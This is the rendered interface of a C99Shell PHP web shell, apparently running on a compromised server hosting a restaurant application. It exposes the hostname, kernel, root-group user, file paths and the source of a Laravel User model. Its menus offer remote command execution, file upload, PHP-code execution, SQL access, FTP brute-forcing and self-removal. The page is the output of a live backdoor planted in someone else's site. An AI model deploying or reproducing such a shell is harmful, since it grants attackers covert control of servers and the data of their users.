!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/app/Models/   drwxr-xr-x
Free 28.46 GB of 117.98 GB (24.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     User.php (2.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
Illuminate\Contracts\Auth\MustVerifyEmail;
use 
Illuminate\Database\Eloquent\Factories\HasFactory;
use 
Illuminate\Foundation\Auth\User as Authenticatable;
use 
Illuminate\Notifications\Notifiable;
use 
Modules\MultiRestaurant\Entities\Cart;
use 
Spatie\Permission\Traits\HasRoles;
class 
User extends Authenticatable implements MustVerifyEmail
{
    use 
HasFactoryNotifiable,HasRoles;

    
/**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    
protected $fillable = [
        
'name',
        
'email',
        
'password',
    ];

    
/**
     * The attributes that should be hidden for arrays.
     *
     * @var array
     */
    
protected $hidden = [
        
'password',
        
'remember_token',
    ];

    
/**
     * The attributes that should be cast to native types.
     *
     * @var array
     */
    
protected $casts = [
        
'email_verified_at' => 'datetime',
    ];

    public function 
restaurants(){
        return 
$this->hasMany(Restaurant::class);
    }

    public function 
active_restaurants(){
        return 
$this->restaurants()->where('status','active');
    }
    public function 
categories(){
        return 
$this->hasMany(Category::class);
    }
    public function 
active_categories(){
        return 
$this->categories()->where('status','active');
    }
    public function 
items(){
        return 
$this->hasMany(Item::class);
    }
    public function 
user_plans(){
        return 
$this->hasMany(UserPlan::class);
    }
    public function 
current_plans(){
        return 
$this->user_plans()->where('is_current','yes')->orderByDesc('created_at')->where(function($q){
            
$q->where('expired_date','>',now())->orWhereNull('expired_date');
        });
    }
    public function 
tables(){
        return 
$this->hasMany(Table::class);
    }
    public function 
taxes(){
        return 
$this->hasMany(Tax::class);
    }
    public function 
active_taxes(){
        return 
$this->taxes()->where('status','active');
    }
    public function 
restaurant(){
        return 
$this->belongsTo(Restaurant::class,'restaurant_id','id');
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0291 ]--